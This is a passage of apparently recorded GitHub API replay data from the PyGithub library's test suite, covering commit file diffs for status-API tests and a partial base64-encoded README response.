a}\",\"git_tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/jacquev6/PyGithub/languages\",\"stargazers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/stargazers\",\"contributors_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contributors\",\"subscribers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscribers\",\"subscription_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscription\",\"commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}\",\"contents_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/jacquev6/PyGithub/merges\",\"archive_url\":\"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/jacquev6/PyGithub/downloads\",\"issues_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}\",\"created_at\":\"2012-02-25T12:53:47Z\",\"updated_at\":\"2013-08-21T20:32:08Z\",\"pushed_at\":\"2013-08-21T20:31:45Z\",\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"homepage\":\"http://jacquev6.github.com/PyGithub\",\"size\":7437,\"watchers_count\":248,\"language\":\"Python\",\"has_issues\":true,\"has_downloads\":true,\"has_wiki\":true,\"forks_count\":70,\"mirror_url\":null,\"open_issues_count\":17,\"forks\":70,\"open_issues\":17,\"watchers\":248,\"master_branch\":\"master\",\"default_branch\":\"master\"}}\n+"},{"sha":"b6d8aeec9b3c663cfe561eb2513a514f10011673","filename":"github/tests/ReplayData/Persistence.testLoadAndUpdate.txt","status":"added","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Persistence.testLoadAndUpdate.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Persistence.testLoadAndUpdate.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/Persistence.testLoadAndUpdate.txt?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,11 @@\n+https\n+GET\n+api.github.com\n+None\n+/repos/akfish/PyGithub\n+{'If-None-Match': '\"8600bedcb7fed1d8065e1693e05529ce\"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Thu, 22 Aug 2013 02:09:11 GMT'}\n+null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '13712'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:14:54 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '\"ef281ef0e821c18f80da36902727160b\"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:15:01 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377140429')]\n+{\"id\":12156762,\"name\":\"PyGithub\",\"full_name\":\"akfish/PyGithub\",\"owner\":{\"login\":\"akfish\",\"id\":922715,\"avatar_url\":\"https://0.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png\",\"gravatar_id\":\"12a1b44d4e5c19cee59618084602b112\",\"url\":\"https://api.github.com/users/akfish\",\"html_url\":\"https://github.com/akfish\",\"followers_url\":\"https://api.github.com/users/akfish/followers\",\"following_url\":\"https://api.github.com/users/akfish/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/akfish/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/akfish/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/akfish/subscriptions\",\"organizations_url\":\"https://api.github.com/users/akfish/orgs\",\"repos_url\":\"https://api.github.com/users/akfish/repos\",\"events_url\":\"https://api.github.com/users/akfish/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/akfish/received_events\",\"type\":\"User\"},\"private\":false,\"html_url\":\"https://github.com/akfish/PyGithub\",\"description\":\"Python library implementing the full Github API v3 - AKFish Fork\",\"fork\":true,\"url\":\"https://api.github.com/repos/akfish/PyGithub\",\"forks_url\":\"https://api.github.com/repos/akfish/PyGithub/forks\",\"keys_url\":\"https://api.github.com/repos/akfish/PyGithub/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/akfish/PyGithub/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/akfish/PyGithub/teams\",\"hooks_url\":\"https://api.github.com/repos/akfish/PyGithub/hooks\",\"issue_events_url\":\"https://api.github.com/repos/akfish/PyGithub/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/akfish/PyGithub/events\",\"assignees_url\":\"https://api.github.com/repos/akfish/PyGithub/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/akfish/PyGithub/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/akfish/PyGithub/tags\",\"blobs_url\":\"https://api.github.com/repos/akfish/PyGithub/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/akfish/PyGithub/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/akfish/PyGithub/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/akfish/PyGithub/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/akfish/PyGithub/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/akfish/PyGithub/languages\",\"stargazers_url\":\"https://api.github.com/repos/akfish/PyGithub/stargazers\",\"contributors_url\":\"https://api.github.com/repos/akfish/PyGithub/contributors\",\"subscribers_url\":\"https://api.github.com/repos/akfish/PyGithub/subscribers\",\"subscription_url\":\"https://api.github.com/repos/akfish/PyGithub/subscription\",\"commits_url\":\"https://api.github.com/repos/akfish/PyGithub/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/akfish/PyGithub/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/akfish/PyGithub/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/akfish/PyGithub/issues/comments/{number}\",\"contents_url\":\"https://api.github.com/repos/akfish/PyGithub/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/akfish/PyGithub/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/akfish/PyGithub/merges\",\"archive_url\":\"https://api.github.com/repos/akfish/PyGithub/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/akfish/PyGithub/downloads\",\"issues_url\":\"https://api.github.com/repos/akfish/PyGithub/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/akfish/PyGithub/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/akfish/PyGithub/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/akfish/PyGithub/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/akfish/PyGithub/labels{/name}\",\"created_at\":\"2013-08-16T10:56:11Z\",\"updated_at\":\"2013-08-22T02:14:54Z\",\"pushed_at\":\"2013-08-22T02:09:09Z\",\"git_url\":\"git://github.com/akfish/PyGithub.git\",\"ssh_url\":\"git@github.com:akfish/PyGithub.git\",\"clone_url\":\"https://github.com/akfish/PyGithub.git\",\"svn_url\":\"https://github.com/akfish/PyGithub\",\"homepage\":\"http://jacquev6.github.com/PyGithub\",\"size\":6736,\"watchers_count\":0,\"language\":\"Python\",\"has_issues\":false,\"has_downloads\":true,\"has_wiki\":true,\"forks_count\":0,\"mirror_url\":null,\"open_issues_count\":0,\"forks\":0,\"open_issues\":0,\"watchers\":0,\"master_branch\":\"master\",\"default_branch\":\"master\",\"permissions\":{\"admin\":true,\"push\":true,\"pull\":true},\"network_count\":70,\"parent\":{\"id\":3544490,\"name\":\"PyGithub\",\"full_name\":\"jacquev6/PyGithub\",\"owner\":{\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"url\":\"https://api.github.com/users/jacquev6\",\"html_url\":\"https://github.com/jacquev6\",\"followers_url\":\"https://api.github.com/users/jacquev6/followers\",\"following_url\":\"https://api.github.com/users/jacquev6/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/jacquev6/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/jacquev6/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/jacquev6/subscriptions\",\"organizations_url\":\"https://api.github.com/users/jacquev6/orgs\",\"repos_url\":\"https://api.github.com/users/jacquev6/repos\",\"events_url\":\"https://api.github.com/users/jacquev6/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/jacquev6/received_events\",\"type\":\"User\"},\"private\":false,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"description\":\"Python library implementing the full Github API v3\",\"fork\":false,\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"forks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/forks\",\"keys_url\":\"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/jacquev6/PyGithub/teams\",\"hooks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/hooks\",\"issue_events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/events\",\"assignees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/tags\",\"blobs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/jacquev6/PyGithub/languages\",\"stargazers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/stargazers\",\"contributors_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contributors\",\"subscribers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscribers\",\"subscription_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscription\",\"commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}\",\"contents_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/jacquev6/PyGithub/merges\",\"archive_url\":\"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/jacquev6/PyGithub/downloads\",\"issues_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}\",\"created_at\":\"2012-02-25T12:53:47Z\",\"updated_at\":\"2013-08-21T20:32:08Z\",\"pushed_at\":\"2013-08-21T20:31:45Z\",\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"homepage\":\"http://jacquev6.github.com/PyGithub\",\"size\":7437,\"watchers_count\":248,\"language\":\"Python\",\"has_issues\":true,\"has_downloads\":true,\"has_wiki\":true,\"forks_count\":70,\"mirror_url\":null,\"open_issues_count\":17,\"forks\":70,\"open_issues\":17,\"watchers\":248,\"master_branch\":\"master\",\"default_branch\":\"master\"},\"source\":{\"id\":3544490,\"name\":\"PyGithub\",\"full_name\":\"jacquev6/PyGithub\",\"owner\":{\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"url\":\"https://api.github.com/users/jacquev6\",\"html_url\":\"https://github.com/jacquev6\",\"followers_url\":\"https://api.github.com/users/jacquev6/followers\",\"following_url\":\"https://api.github.com/users/jacquev6/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/jacquev6/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/jacquev6/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/jacquev6/subscriptions\",\"organizations_url\":\"https://api.github.com/users/jacquev6/orgs\",\"repos_url\":\"https://api.github.com/users/jacquev6/repos\",\"events_url\":\"https://api.github.com/users/jacquev6/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/jacquev6/received_events\",\"type\":\"User\"},\"private\":false,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"description\":\"Python library implementing the full Github API v3\",\"fork\":false,\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"forks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/forks\",\"keys_url\":\"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/jacquev6/PyGithub/teams\",\"hooks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/hooks\",\"issue_events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/events\",\"assignees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/tags\",\"blobs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/jacquev6/PyGithub/languages\",\"stargazers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/stargazers\",\"contributors_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contributors\",\"subscribers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscribers\",\"subscription_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscription\",\"commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}\",\"contents_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/jacquev6/PyGithub/merges\",\"archive_url\":\"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/jacquev6/PyGithub/downloads\",\"issues_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}\",\"created_at\":\"2012-02-25T12:53:47Z\",\"updated_at\":\"2013-08-21T20:32:08Z\",\"pushed_at\":\"2013-08-21T20:31:45Z\",\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"homepage\":\"http://jacquev6.github.com/PyGithub\",\"size\":7437,\"watchers_count\":248,\"language\":\"Python\",\"has_issues\":true,\"has_downloads\":true,\"has_wiki\":true,\"forks_count\":70,\"mirror_url\":null,\"open_issues_count\":17,\"forks\":70,\"open_issues\":17,\"watchers\":248,\"master_branch\":\"master\",\"default_branch\":\"master\"}}\n+"},{"sha":"3d4b27e8aa1282bb8401e6e2ae753044a7208686","filename":"github/tests/ReplayData/Status.testGetLastMessage.txt","status":"added","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Status.testGetLastMessage.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Status.testGetLastMessage.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/Status.testGetLastMessage.txt?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,11 @@\n+https\n+GET\n+status.github.com\n+443\n+/api/last-message.json\n+{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\n+null\n+200\n+[('status', '200 OK'), ('content-length', '93'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('date', 'Fri, 06 Sep 2013 08:34:01 GMT'), ('content-type', 'application/json;charset=utf-8')]\n+{\"status\":\"good\",\"body\":\"Everything operating normally.\",\"created_on\":\"2013-09-01T15:41:46Z\"}\n+"},{"sha":"6c79412a7a4039830228927d1ca5c9557298bdd3","filename":"github/tests/ReplayData/Status.testGetMessages.txt","status":"added","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Status.testGetMessages.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Status.testGetMessages.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/Status.testGetMessages.txt?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,11 @@\n+https\n+GET\n+status.github.com\n+443\n+/api/messages.json\n+{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\n+null\n+200\n+[('status', '200 OK'), ('content-length', '1492'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('date', 'Fri, 06 Sep 2013 08:41:31 GMT'), ('content-type', 'application/json;charset=utf-8')]\n+[{\"status\":\"good\",\"body\":\"Everything operating normally.\",\"created_on\":\"2013-09-01T15:41:46Z\"},{\"status\":\"minor\",\"body\":\"GitHub Pages are currently unavailable. We're investigating the problem.\",\"created_on\":\"2013-09-01T15:26:59Z\"},{\"status\":\"good\",\"body\":\"Everything operating normally.\",\"created_on\":\"2013-09-01T15:17:24Z\"},{\"status\":\"minor\",\"body\":\"We are investigating an increased rate of errors on GitHub.com\",\"created_on\":\"2013-09-01T15:14:24Z\"},{\"status\":\"good\",\"body\":\"Everything operating normally.\",\"created_on\":\"2013-09-01T06:52:46Z\"},{\"status\":\"minor\",\"body\":\"Some GitHub pages are again unavailable. We are continuing to investigate.\",\"created_on\":\"2013-09-01T06:50:31Z\"},{\"status\":\"good\",\"body\":\"Everything operating normally.\",\"created_on\":\"2013-09-01T06:47:25Z\"},{\"status\":\"minor\",\"body\":\"Some GitHub pages are temporarily unavailable.\",\"created_on\":\"2013-09-01T06:43:03Z\"},{\"status\":\"good\",\"body\":\"We're back up, now featuring a massively upgraded DB cluster with SSDs and 10Gbps networking! Thanks for your patience.\",\"created_on\":\"2013-08-31T12:13:04Z\"},{\"status\":\"major\",\"body\":\"We're beginning our scheduled maintenance now, and expect to be back up in 20 minutes. https://github.com/blog/1603-site-maintenance-august-31st-2013\",\"created_on\":\"2013-08-31T12:00:13Z\"},{\"status\":\"good\",\"body\":\"Everything operating normally.\",\"created_on\":\"2013-08-31T11:45:50Z\"},{\"status\":\"minor\",\"body\":\"We are investigating issues with GitHub Pages\",\"created_on\":\"2013-08-31T11:43:39Z\"}]\n+"},{"sha":"e01aec021bcb172a4eaf436c5d23e69594bc022f","filename":"github/tests/ReplayData/Status.testGetStatus.txt","status":"added","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Status.testGetStatus.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Status.testGetStatus.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/Status.testGetStatus.txt?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,11 @@\n+https\n+GET\n+status.github.com\n+443\n+/api/status.json\n+{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\n+null\n+200\n+[('status', '200 OK'), ('content-length', '55'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('date', 'Fri, 06 Sep 2013 08:29:36 GMT'), ('content-type', 'application/json;charset=utf-8')]\n+{\"status\":\"good\",\"last_updated\":\"2013-09-06T08:29:27Z\"}\n+"},{"sha":"0bb3c935ce2f4fa86d410b2759a4825e42bc44a3","filename":"github/tests/Status.py","status":"added","additions":43,"deletions":0,"changes":43,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/Status.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/Status.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/Status.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,43 @@\n+# -*- coding: utf-8 -*-\n+\n+############################ Copyrights and license ############################\n+# #\n+# Copyright 2013 Vincent Jacques #\n+# #\n+# This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n+# #\n+# PyGithub is free software: you can redistribute it and/or modify it under #\n+# the terms of the GNU Lesser General Public License as published by the Free #\n+# Software Foundation, either version 3 of the License, or (at your option) #\n+# any later version. #\n+# #\n+# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY #\n+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS #\n+# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more #\n+# details. #\n+# #\n+# You should have received a copy of the GNU Lesser General Public License #\n+# along with PyGithub. If not, see . #\n+# #\n+################################################################################\n+\n+import Framework\n+\n+import github\n+import datetime\n+\n+\n+class Status(Framework.TestCase):\n+ def testGetStatus(self):\n+ status = self.g.get_api_status()\n+ self.assertEqual(status.status, \"good\")\n+ self.assertEqual(status.last_updated, datetime.datetime(2013, 9, 6, 8, 29, 27))\n+\n+ def testGetLastMessage(self):\n+ message = self.g.get_last_api_status_message()\n+ self.assertEqual(message.status, \"good\")\n+ self.assertEqual(message.body, \"Everything operating normally.\")\n+ self.assertEqual(message.created_on, datetime.datetime(2013, 9, 1, 15, 41, 46))\n+\n+ def testGetMessages(self):\n+ self.assertListKeyEqual(self.g.get_api_status_messages(), lambda m: m.status, [\"good\", \"minor\", \"good\", \"minor\", \"good\", \"minor\", \"good\", \"minor\", \"good\", \"major\", \"good\", \"minor\"])"},{"sha":"3439c6f189e0bd05a747ff4c702518068fde7b3b","filename":"scripts/fix_headers.py","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/scripts/fix_headers.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/scripts/fix_headers.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/scripts/fix_headers.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -132,6 +132,8 @@ def findHeadersAndFiles():\n dirs.remove(\".git\")\n if \"developer.github.com\" in dirs:\n dirs.remove(\"developer.github.com\")\n+ if \"build\" in dirs:\n+ dirs.remove(\"build\")\n \n for filename in files:\n fullname = os.path.join(root, filename)"}]} https GET api.github.com None /repos/jacquev6/PyGithub/contents/README.rst {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4869'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '36bdc0ef-6149-4a8a-b4b5-3f8a82cf42aa'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '6577'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 16:39:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"bbffa70478199a10902bf5da76db3481"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:57 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"name":"README.rst","path":"README.rst","sha":"7b03e11cebcf910764a583dd8be5b6824046459b","size":4271,"url":"https://api.github.com/repos/jacquev6/PyGithub/contents/README.rst?ref=master","html_url":"https://github.com/jacquev6/PyGithub/blob/master/README.rst","git_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/7b03e11cebcf910764a583dd8be5b6824046459b","type":"file","content":"VGhpcyBpcyBhIFB5dGhvbiAoMiBhbmQgMykgbGlicmFyeSB0byBhY2Nlc3Mg\ndGhlIGBHaXRodWIgQVBJIHYzIDxodHRwOi8vZGV2ZWxvcGVyLmdpdGh1Yi5j\nb20vdjM+YF8uCldpdGggaXQsIHlvdSBjYW4gbWFuYWdlIHlvdXIgYEdpdGh1\nYiA8aHR0cDovL2dpdGh1Yi5jb20+YF8gcmVzb3VyY2VzIChyZXBvc2l0b3Jp\nZXMsIHVzZXIgcHJvZmlsZXMsIG9yZ2FuaXphdGlvbnMsIGV0Yy4pIGZyb20g\nUHl0aG9uIHNjcmlwdHMuCgpJdCBjb3ZlcnMgdGhlICoqZnVsbCoqIEFQSSAo\nZXhjZXB0IHJlY2VudCBhZGRpdGlvbnMsIHNlZSAiV2hhdCdzIG1pc3Npbmci\nIGJlbGxvdyksIGFuZCBhbGwgbWV0aG9kcyBhcmUgdGVzdGVkIGFnYWluc3Qg\ndGhlIHJlYWwgR2l0aHViIHNpdGUuCgpTaG91bGQgeW91IGhhdmUgYW55IHF1\nZXN0a